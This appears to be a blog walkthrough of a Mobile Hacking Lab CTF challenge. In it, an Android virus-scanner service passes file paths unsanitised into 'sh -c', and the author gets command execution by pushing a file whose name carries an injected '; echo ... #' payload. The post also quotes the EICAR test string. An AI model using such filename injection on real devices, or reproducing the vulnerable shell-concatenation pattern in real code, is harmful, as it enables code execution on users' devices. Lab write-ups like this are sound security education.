Mobile Hacking Lab - Cyclic Scanner
Android Services Vulnerabilities: A Mobile Hacking Lab CTF Challenge
I got super excited when I saw Mobile Hacking Lab post a new challenge on their platform. I enrolled in the lab immediately and read the instructions and solved it. I didn’t have much time to create the walkthrough but better late than never I guess.
Android Services are components of the Android operating system that perform long-running operations in the background without a user interface. They’re designed to handle operations or perform tasks that should continue even if the user switches to another application. Services can run in the background (background services), work for remote processes (bound services), or execute a specific job that doesn’t require user interaction and stops itself when its task is complete (intent services).
You can access the challenge here: Mobile Hacking Lab - Cyclic Scanner
The Challenge Overview
The objective of this lab is pretty straight forward. Exploit a vulnerability inherent within an Android virus scanner Service to achieve remote code execution (RCE). Let’s boot the application and start the discovery phase.
Discovery Phase
The application is very minimal. There’s a button to turn On
or Off
the scanner:
We can’t stop the scanner when it’s running. I decided to run pidcat
to see what was going on…
System.out:
I starting file scan...
I /storage/emulated/0/Music/.thumbnails/.database_uuid...SAFE
I /storage/emulated/0/Music/.thumbnails/.nomedia...SAFE
I /storage/emulated/0/Pictures/.thumbnails/.database_uuid...SAFE
I /storage/emulated/0/Pictures/.thumbnails/.nomedia...SAFE
I /storage/emulated/0/Movies/.thumbnails/.database_uuid...SAFE
I /storage/emulated/0/Movies/.thumbnails/.nomedia...SAFE
I finished file scan!
We can see that it’s scanning specific path and mark them as SAFE
when no malicious file is detected.
Let’s go through the code with jadx-gui
Code Analysis
The first stop is the ScanEngine
class. Let’s go over the interesting bit…
ScanEngine
Constructing the Command
The method constructs a command string to compute the SHA-1 checksum of the file using toybox sha1sum
. This command will be executed in a shell, it should be our entry point for RCE. We’ll come back to this later. If you want to jump to the RCE, go straight to the Exploitation section of this article.
try {
String command = "toybox sha1sum " + file.getAbsolutePath();
Creating and Starting the Process
A ProcessBuilder
is used to create and start a new process that runs the command. The process is configured to use the external storage directory as its working directory and to redirect error streams to the standard output.
Process process = new ProcessBuilder(new String[0])
.command("sh", "-c", command)
.directory(Environment.getExternalStorageDirectory())
.redirectErrorStream(true)
.start();
Reading the Process Output
The method retrieves the input stream of the process to read its output. An InputStreamReader
wrapped in a BufferedReader
is used for read and process text data from a byte stream.
InputStream inputStream = process.getInputStream();
Intrinsics.checkNotNullExpressionValue(inputStream, "getInputStream(...)");
Reader inputStreamReader = new InputStreamReader(inputStream, Charsets.UTF_8);
BufferedReader bufferedReader = inputStreamReader instanceof BufferedReader ?
(BufferedReader) inputStreamReader :
new BufferedReader(inputStreamReader, 8192);
Processing the Command Output
The method reads the first line of the command’s output, which contains the SHA-1 hash of the file and extracts the hash from the output.
try {
String output = bufferedReader.readLine();
Intrinsics.checkNotNull(output);
Object fileHash = StringsKt.substringBefore$default(output, " ", (String) null, 2, (Object) null);
Unit unit = Unit.INSTANCE;
Checking Against Known Malware Samples
The extracted SHA-1 hash is checked against a known list of malware samples (ScanEngine.KNOWN_MALWARE_SAMPLES
). If the hash is found in the list, the file is considered unsafe, and the method returns false
. Otherwise, it returns true
.
return !ScanEngine.KNOWN_MALWARE_SAMPLES.containsValue(fileHash);
} finally {
}
} catch (Exception e) {
e.printStackTrace();
return false;
}
}
Now since the method check whether a given file is safe or malicious against a list of known hashes, we have to know which known hash exist. We can see those hashes in the static final HashMap
Let’s check the Known Malware Samples…
Defining Known Malware Samples
This static final HashMap
named KNOWN_MALWARE_SAMPLES
map stores pairs of file names and their corresponding SHA-1 hashes. The MapsKt.hashMapOf
function is used to create the map, and TuplesKt.to
is used to create the key-value pairs and their corresponding hashes.
If a file contains a name and hash from the list, it will be flag as INFECTED
private static final HashMap<String, String> KNOWN_MALWARE_SAMPLES = MapsKt.hashMapOf(
TuplesKt.to("eicar.com", "3395856ce81f2b7382dee72602f798b642f14140"),
TuplesKt.to("eicar.com.txt", "3395856ce81f2b7382dee72602f798b642f14140"),
TuplesKt.to("eicar_com.zip", "d27265074c9eac2e2122ed69294dbc4d7cce9141"),
TuplesKt.to("eicarcom2.zip", "bec1b52d350d721c7e22a6d4bb0a92909893a3ae")
);
Why INFECTED
? we can see in the code below (took from the ScanService
Class)
ScanEngine
System.out.print((Object) (file.getAbsolutePath() + "..."));
boolean safe = ScanEngine.INSTANCE.scanFile(file);
System.out.println((Object) (safe ? "SAFE" : "INFECTED"));
}
}
The method print the file’s absolute path and then uses ScanEngine.INSTANCE.scanFile(file)
to scan the file. It prints SAFE
if the file is safe (as seen in the pidcat
output!) and INFECTED
if it is not.
Exploitation
Let’s start with adding a file called eicar.txt
containing the eicard string and monitor the log using pidcat
. If things go according to plans, we should see the INFECTED
displayed in the logs.
eicar
string: X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
As expected, we can see INFECTED
with the full path of the file:
How can we achieve RCE ?
Now this is fairly simple, let’s go over the code again from the ScanEngine
class:
String command = "toybox sha1sum " + file.getAbsolutePath();
Process process = new ProcessBuilder(new String[0])
.command("sh", "-c", command)
.directory(Environment.getExternalStorageDirectory())
.redirectErrorStream(true)
.start();
InputStream inputStream = process.getInputStream();
The command
string is dynamically constructed by concatenating "toybox sha1sum "
with file.getAbsolutePath()
. This allows any value returned by file.getAbsolutePath()
to be included directly in the command string…
If file.getAbsolutePath()
returns a path that contains shell metacharacters (;
, &&
, |
), it can change the intended command execution (toybox sha1sum
).
The ProcessBuilder
is set to run the command in a shell (sh -c
). The shell interprets and executes the command string, allowing shell metacharacters to be processed… which turns into a command injection!
It’s a matter of how we can name the file…
If the file path includes "; malicious command"
, the command will be split and execute both toybox sha1sum
and malicious command
just like a traditional operator.
Let’s create an empty txt
file and our payload will be in the filename:
; echo 'RCE PoC from almightysec!!' > almightysec.txt #
The ;
allows injection of the payload: echo 'RCE PoC from almightysec!!' > almightysec.txt
, which creates a file with the content we echo
. I added #
to make sure trailing commands interfere.
Let’s run it!
We push the file on the device in /sdcard/Download
since that’s where the scanner looks for malicious files.
adb push \;\ id\ \&\ echo\ \'RCE\ PoC\ from\ almightysec\!\!\'\ \>\ almightysec.txt\ \# /sdcard/Download/
Our file is now located in /sdcard/Download
:
We can monitor the logs using pidcat
and we can see that our file is now marked as SAFE
. We can also see that the exploit worked because the malicious file almightysec.txt
exist in /storage/emulated/0/
!
We can confirm the content of the file by getting a shell on the device:
Conclusion
Another exciting challenge conquered at Mobile Hacking Lab!
The “Cyclic Scanner” centered on an Android virus scanner service with a critical flaw that allowed remote code execution (RCE). Imagine the implications of an attacker gaining such control over your device…
Just looking at the service’s behavior and understanding the code, we crafted a specific payload to exploit the dynamically constructed command strings. Never trust user input!!
Let’s move on to the next challenge!
Thank you, Mobile Hacking Lab! 😊